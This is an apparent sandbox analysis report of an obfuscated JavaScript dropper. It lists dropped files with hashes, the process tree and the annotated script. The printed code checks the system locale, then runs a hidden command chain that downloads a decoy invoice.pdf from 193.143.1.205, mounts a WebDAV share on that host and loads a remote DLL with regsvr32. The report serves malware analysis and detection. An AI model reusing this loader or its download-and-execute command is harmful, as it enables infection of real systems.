Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f4859737-9d65-4971-8115-e05a5465e616.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLYZwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLYZwZGuGZn3mlind9i4ufFXpAXkru
MD5:	EC8D4FAB55F24C0E344D263724846C4A
SHA1:	5444D90F86D68A23AF7FB5434DEAE740D57D0312
SHA-256:	E489C11D38BFF8F1F51351BAEBEE9F723A5C036DA0B0CB9C82306251017054EE
SHA-512:	21018FD299944987654C202779C8E0185815868DE7179B814F145573EE8D45ACC33CA7E008CB23774C473DD7939E9D7D7C2E5A14E31D5EC62F7BFFDBBAB41F9A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17701), with CRLF line terminators
Entropy (8bit):	4.936556685666973
TrID:
File name:	1178918864369817238.js
File size:	21'277 bytes
MD5:	723a8a811ac25f7278e8d7b53b2ce350
SHA1:	67a2ae3ea49ea7ad0058ed350630864266ccdf1c
SHA256:	39f3c9a4dd4dc7d58107638c468ef53be4ed0ef158986f66a5fded9f12801ae5
SHA512:	3b384467ad16e82350e3563241795d154e37f4c1897761fe258276b46cdd4679bc57c934e50725a351638567d653ade2f8fd78405008253f4fcc837db881c3a2
SSDEEP:	384:aGcGxdxft8dvOyryxnWV9BmSWH2bf33EcN947kX59qz2ZhQBW84sf1QVpvRiXk8q:a3dryxnWV9BmSWH2bf33EcN9wkX50BFc
TLSH:	BBA273DE64884397C6EF87B765C70DE5F250420C9A9442DEA2A118A43B49DBC5CF3BF8
File Content Preview:	function tbjpavkts(){gqkzmj=[1031,3079,5127,4103,2055,3072];var kvqcvl=this[tuhtm+jxjwkzrp+fumydwfm+lozrxjbl+rrztczyrh+zhsvwto+elxrt+dnzpiryr](this[ckhyns+gjqieziqt+rbttg+fumydwfm+rbhkor+tuhtm+dnzpiryr][kuhsrbfbj+fumydwfm+rrztczyrh+jxjwkzrp+dnzpiryr+rrztc

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	03:05:07
Start date:	13/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js"
Imagebase:	0x7ff740ec0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:05:08
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll
Imagebase:	0x7ff613c20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:05:08
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:05:08
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:05:17
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	03:05:17
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff613c20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:05:17
Start date:	13/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff652290000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:05:17
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:05:17
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	03:05:18
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1592,i,14076996108067993312,10900582542575135991,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tbjpavkts() {	tbjpavkts() ➔ undefined
1	gqkzmj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kvqcvl = this[tuhtm + jxjwkzrp + fumydwfm + lozrxjbl + rrztczyrh + zhsvwto + elxrt + dnzpiryr] ( this[ckhyns + gjqieziqt + rbttg + fumydwfm + rbhkor + tuhtm + dnzpiryr][kuhsrbfbj + fumydwfm + rrztczyrh + jxjwkzrp + dnzpiryr + rrztczyrh + hkieieakt + ihlbfrq + vsljjyk + rrztczyrh + rbttg + dnzpiryr] ( ckhyns + gjqieziqt + rbttg + fumydwfm + rbhkor + tuhtm + dnzpiryr + gtohbvkkv + gjqieziqt + datngfayw + rrztczyrh + ewqvuxcw + ewqvuxcw ) [cmxxyfjn + rrztczyrh + ounch + cmxxyfjn + rrztczyrh + jxjwkzrp + zqull] ( cstnejz + gojpghhm + lymkfire + crccfavma + yoohsz + kuhsrbfbj + dnrguzt + cmxxyfjn + cmxxyfjn + lymkfire + wufpovrh + meycouxr + yoohsz + dnrguzt + gjqieziqt + lymkfire + cmxxyfjn + ssacqqx + kuhsrbfbj + odbcy + elxrt + dnzpiryr + fumydwfm + odbcy + ewqvuxcw + joxmvig + gweplzdhk + jxjwkzrp + elxrt + rrztczyrh + ewqvuxcw + ssacqqx + zhsvwto + elxrt + dnzpiryr + rrztczyrh + fumydwfm + elxrt + jxjwkzrp + dnzpiryr + rbhkor + odbcy + elxrt + jxjwkzrp + ewqvuxcw + ssacqqx + kdmjzdf + odbcy + rbttg + jxjwkzrp + ewqvuxcw + rrztczyrh ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( unpqs = 0 ; unpqs < gqkzmj[ewqvuxcw + rrztczyrh + elxrt + ounch + dnzpiryr + datngfayw] ; ++ unpqs )
4	{
5	if ( kvqcvl == gqkzmj[unpqs] )
6	{
7	kvqcvl = true;
8	break ;
9	}
10	}
11	if ( kvqcvl !== true )
12	this[ckhyns + gjqieziqt + rbttg + fumydwfm + rbhkor + tuhtm + dnzpiryr][tjibndkt + khwipcsps + rbhkor + dnzpiryr] ( );
13	this[ckhyns + gjqieziqt + rbttg + fumydwfm + rbhkor + tuhtm + dnzpiryr][kuhsrbfbj + fumydwfm + rrztczyrh + jxjwkzrp + dnzpiryr + rrztczyrh + hkieieakt + ihlbfrq + vsljjyk + rrztczyrh + rbttg + dnzpiryr] ( ckhyns + gjqieziqt + rbttg + fumydwfm + rbhkor + tuhtm + dnzpiryr + gtohbvkkv + gjqieziqt + datngfayw + rrztczyrh + ewqvuxcw + ewqvuxcw ) [fumydwfm + khwipcsps + elxrt] ( rbttg + emqbhto + zqull + joxmvig + fmdzfswyw + rbttg + joxmvig + tuhtm + odbcy + mbgomnvco + rrztczyrh + fumydwfm + lozrxjbl + datngfayw + rrztczyrh + ewqvuxcw + ewqvuxcw + gtohbvkkv + rrztczyrh + rrcbin + rrztczyrh + joxmvig + ejwjg + kuhsrbfbj + odbcy + emqbhto + emqbhto + jxjwkzrp + elxrt + zqull + joxmvig + rsqhnen + zhsvwto + elxrt + dwdaxsd + odbcy + kaqxqjhu + rrztczyrh + ejwjg + ckhyns + rrztczyrh + ihlbfrq + cmxxyfjn + rrztczyrh + pescg + khwipcsps + rrztczyrh + lozrxjbl + dnzpiryr + joxmvig + ejwjg + hkieieakt + khwipcsps + dnzpiryr + llrus + rbhkor + ewqvuxcw + rrztczyrh + joxmvig + bcbsnw + dnzpiryr + rrztczyrh + emqbhto + tuhtm + bcbsnw + ssacqqx + rbhkor + elxrt + dwdaxsd + odbcy + rbhkor + rbttg + rrztczyrh + gtohbvkkv + tuhtm + zqull + bqaytqwpz + joxmvig + datngfayw + dnzpiryr + dnzpiryr + tuhtm + dnzunvm + fmdzfswyw + fmdzfswyw + bhgeseeba + bffsnrtm + lxacty + gtohbvkkv + bhgeseeba + aklhuu + lxacty + gtohbvkkv + bhgeseeba + gtohbvkkv + oqosavi + qnfwn + dmidm + fmdzfswyw + rbhkor + elxrt + dwdaxsd + odbcy + rbhkor + rbttg + rrztczyrh + gtohbvkkv + tuhtm + datngfayw + tuhtm + rsqhnen + npmly + npmly + lozrxjbl + dnzpiryr + jxjwkzrp + fumydwfm + dnzpiryr + joxmvig + bcbsnw + dnzpiryr + rrztczyrh + emqbhto + tuhtm + bcbsnw + ssacqqx + rbhkor + elxrt + dwdaxsd + odbcy + rbhkor + rbttg + rrztczyrh + gtohbvkkv + tuhtm + zqull + bqaytqwpz + npmly + npmly + rbttg + emqbhto + zqull + joxmvig + fmdzfswyw + rbttg + joxmvig + elxrt + rrztczyrh + dnzpiryr + joxmvig + khwipcsps + lozrxjbl + rrztczyrh + joxmvig + ssacqqx + ssacqqx + bhgeseeba + bffsnrtm + lxacty + gtohbvkkv + bhgeseeba + aklhuu + lxacty + gtohbvkkv + bhgeseeba + gtohbvkkv + oqosavi + qnfwn + dmidm + eswbcuo + ploofovz + ploofovz + ploofovz + ploofovz + ssacqqx + zqull + jxjwkzrp + dwdaxsd + mbgomnvco + mbgomnvco + mbgomnvco + fumydwfm + odbcy + odbcy + dnzpiryr + ssacqqx + npmly + npmly + rbttg + emqbhto + zqull + joxmvig + fmdzfswyw + rbttg + joxmvig + fumydwfm + rrztczyrh + ounch + lozrxjbl + dwdaxsd + fumydwfm + lxacty + oqosavi + joxmvig + fmdzfswyw + lozrxjbl + joxmvig + ssacqqx + ssacqqx + bhgeseeba + bffsnrtm + lxacty + gtohbvkkv + bhgeseeba + aklhuu + lxacty + gtohbvkkv + bhgeseeba + gtohbvkkv + oqosavi + qnfwn + dmidm + eswbcuo + ploofovz + ploofovz + ploofovz + ploofovz + ssacqqx + zqull + jxjwkzrp + dwdaxsd + mbgomnvco + mbgomnvco + mbgomnvco + fumydwfm + odbcy + odbcy + dnzpiryr + ssacqqx + bhgeseeba + hbbqteaph + bffsnrtm + aklhuu + aklhuu + lxacty + uxndalcmv + dmidm + dmidm + bhgeseeba + bhgeseeba + lxacty + oqosavi + bffsnrtm + gtohbvkkv + zqull + ewqvuxcw + ewqvuxcw, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll",0,false) ➔ 0
14	}
15	lxacty = "g";
16	lxacty = "Y";
17	lxacty = "n";
18	lxacty = "o";
19	lxacty = "R";
20	lxacty = "D";
21	lxacty = "o";
22	lxacty = "N";
23	lxacty = "N";
24	lxacty = "t";
25	lxacty = "3";
26	rbhkor = "g";
27	rbhkor = "c";
28	rbhkor = "f";
29	rbhkor = "T";
30	rbhkor = "D";
31	rbhkor = "b";
32	rbhkor = "f";
33	rbhkor = "N";
34	rbhkor = "S";
35	rbhkor = "r";
36	rbhkor = "g";
37	rbhkor = "a";
38	rbhkor = "T";
39	rbhkor = "w";
40	rbhkor = "f";
41	rbhkor = "u";
42	rbhkor = "A";
43	rbhkor = "G";
44	rbhkor = "n";
45	rbhkor = "q";
46	rbhkor = "f";
47	rbhkor = "h";
48	rbhkor = "b";
49	rbhkor = "W";
50	rbhkor = "i";
51	ckhyns = "p";
52	ckhyns = "n";
53	ckhyns = "B";
54	ckhyns = "G";
55	ckhyns = "E";
56	ckhyns = "Q";
57	ckhyns = "u";
58	ckhyns = "H";
59	ckhyns = "c";
60	ckhyns = "U";
61	ckhyns = "G";
62	ckhyns = "U";
63	ckhyns = "Y";
64	ckhyns = "r";
65	ckhyns = "f";
66	ckhyns = "M";
67	ckhyns = "f";
68	ckhyns = "F";
69	ckhyns = "P";
70	ckhyns = "J";
71	ckhyns = "s";
72	ckhyns = "d";
73	ckhyns = "K";
74	ckhyns = "W";
75	kaqxqjhu = "z";
76	kaqxqjhu = "g";
77	kaqxqjhu = "m";
78	kaqxqjhu = "N";
79	kaqxqjhu = "A";
80	kaqxqjhu = "G";
81	kaqxqjhu = "g";
82	kaqxqjhu = "n";
83	kaqxqjhu = "v";
84	kaqxqjhu = "E";
85	kaqxqjhu = "b";
86	kaqxqjhu = "E";
87	kaqxqjhu = "L";
88	kaqxqjhu = "m";
89	kaqxqjhu = "x";
90	kaqxqjhu = "Q";
91	kaqxqjhu = "e";
92	kaqxqjhu = "l";
93	kaqxqjhu = "h";
94	kaqxqjhu = "K";
95	kaqxqjhu = "t";
96	kaqxqjhu = "w";
97	kaqxqjhu = "d";
98	kaqxqjhu = "V";
99	kaqxqjhu = "J";
100	kaqxqjhu = "q";
101	kaqxqjhu = "f";
102	kaqxqjhu = "i";
103	kaqxqjhu = "k";
104	ounch = "L";
105	ounch = "A";
106	ounch = "g";
107	tuhtm = "d";
108	tuhtm = "N";
109	tuhtm = "l";
110	tuhtm = "v";
111	tuhtm = "R";
112	tuhtm = "w";
113	tuhtm = "X";
114	tuhtm = "V";
115	tuhtm = "k";
116	tuhtm = "p";
117	tuhtm = "G";
118	tuhtm = "R";
119	tuhtm = "S";
120	tuhtm = "A";
121	tuhtm = "B";
122	tuhtm = "q";
123	tuhtm = "h";
124	tuhtm = "j";
125	tuhtm = "u";
126	tuhtm = "Y";
127	tuhtm = "V";
128	tuhtm = "s";
129	tuhtm = "g";
130	tuhtm = "e";
131	tuhtm = "p";
132	hbbqteaph = "t";
133	hbbqteaph = "W";
134	hbbqteaph = "i";
135	hbbqteaph = "x";
136	hbbqteaph = "K";
137	hbbqteaph = "c";
138	hbbqteaph = "G";
139	hbbqteaph = "h";
140	hbbqteaph = "T";
141	hbbqteaph = "x";
142	hbbqteaph = "I";
143	hbbqteaph = "X";
144	hbbqteaph = "M";
145	hbbqteaph = "Q";
146	hbbqteaph = "Y";
147	hbbqteaph = "Y";
148	hbbqteaph = "R";
149	hbbqteaph = "Z";
150	hbbqteaph = "S";
151	hbbqteaph = "7";
152	dmidm = "K";
153	dmidm = "v";
154	dmidm = "E";
155	dmidm = "O";
156	dmidm = "T";
157	dmidm = "r";
158	dmidm = "q";
159	dmidm = "R";
160	dmidm = "N";
161	dmidm = "w";
162	dmidm = "a";
163	dmidm = "C";
164	dmidm = "A";
165	dmidm = "N";
166	dmidm = "b";
167	dmidm = "m";
168	dmidm = "j";
169	dmidm = "f";
170	dmidm = "k";
171	dmidm = "z";
172	dmidm = "l";
173	dmidm = "Y";
174	dmidm = "e";
175	dmidm = "5";
176	dnzunvm = "J";
177	dnzunvm = "U";
178	dnzunvm = "I";
179	dnzunvm = "i";
180	dnzunvm = "h";
181	dnzunvm = "D";
182	dnzunvm = "V";
183	dnzunvm = "R";
184	dnzunvm = "s";
185	dnzunvm = "m";
186	dnzunvm = "w";
187	dnzunvm = "d";
188	dnzunvm = "J";
189	dnzunvm = "A";
190	dnzunvm = "x";
191	dnzunvm = "a";
192	dnzunvm = "C";
193	dnzunvm = "c";
194	dnzunvm = "N";
195	dnzunvm = "i";
196	dnzunvm = "h";
197	dnzunvm = "p";
198	dnzunvm = "m";
199	dnzunvm = "b";
200	dnzunvm = "e";
201	dnzunvm = ":";
202	bhgeseeba = "W";
203	bhgeseeba = "n";
204	bhgeseeba = "e";
205	bhgeseeba = "C";
206	bhgeseeba = "M";
207	bhgeseeba = "Z";
208	bhgeseeba = "n";
209	bhgeseeba = "e";
210	bhgeseeba = "X";
211	bhgeseeba = "y";
212	bhgeseeba = "U";
213	bhgeseeba = "y";
214	bhgeseeba = "L";
215	bhgeseeba = "c";
216	bhgeseeba = "j";
217	bhgeseeba = "Z";
218	bhgeseeba = "D";
219	bhgeseeba = "1";
220	elxrt = "M";
221	elxrt = "d";
222	elxrt = "W";
223	elxrt = "a";
224	elxrt = "C";
225	elxrt = "Q";
226	elxrt = "O";
227	elxrt = "U";
228	elxrt = "e";
229	elxrt = "k";
230	elxrt = "X";
231	elxrt = "a";
232	elxrt = "O";
233	elxrt = "h";
234	elxrt = "Z";
235	elxrt = "E";
236	elxrt = "u";
237	elxrt = "I";
238	elxrt = "L";
239	elxrt = "K";
240	elxrt = "s";
241	elxrt = "n";
